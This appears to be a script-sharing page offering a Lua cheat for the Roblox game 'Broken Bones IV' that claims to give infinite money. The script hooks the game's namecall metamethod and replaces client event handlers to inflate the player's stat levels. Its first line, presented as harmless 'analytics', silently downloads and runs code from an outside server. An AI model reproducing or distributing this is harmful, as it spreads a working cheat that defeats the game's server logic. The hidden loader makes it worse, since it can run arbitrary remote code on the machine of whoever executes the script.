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Broken Bones IV - Ragdoll Sim
Quick Actions
Description
you need to die once then it shoud work
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Features
2 Features
- Infinite Money
- Free Money
55 lines•1939 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/Bz2sx4yG?v=1"))()end);--=== Does not affect the script ===--local functions = game.ReplicatedStorage:WaitForChild("Functions")
_G.breakslevel = 1000
_G.speedlevel = 500
_G.jumplevel = 500
_G.sprainslevel = 1000
_G.dislocationslevel = 1000
_G.flightlevel = 1000
_G.fuellevel = 1000
hookmetamethod(game, "__namecall", newcclosure(function(self, ...)
local method = getnamecallmethod()
if method == "InvokeServer" and self.Parent == functions then
local result = {self[method](self, ...)}
if result[1] and type(result[1]) == "table" then
result[1].breakslevel = _G.breakslevel
result[1].speedlevel = _G.speedlevel
result[1].jumplevel = _G.jumplevel
result[1].sprainslevel = _G.sprainslevel
result[1].dislocationslevel = _G.dislocationslevel
result[1].flightlevel = _G.flightlevel
result[1].fuellevel = _G.fuellevel
end
return unpack(result)
end
return self[method](self, ...)
end))
for _, connection in pairs(getconnections(functions.SendData.OnClientEvent)) do
if connection.Function then
local oldFunc = connection.Function
connection:Disable()
functions.SendData.OnClientEvent:Connect(function(data, ...)
if data then
data.breakslevel = _G.breakslevel
data.speedlevel = _G.speedlevel
data.jumplevel = _G.jumplevel
data.sprainslevel = _G.sprainslevel
data.dislocationslevel = _G.dislocationslevel
data.flightlevel = _G.flightlevel
data.fuellevel = _G.fuellevel
end
return oldFunc(data, ...)
end)
end
endQuick Actions
Tags
5 Tags
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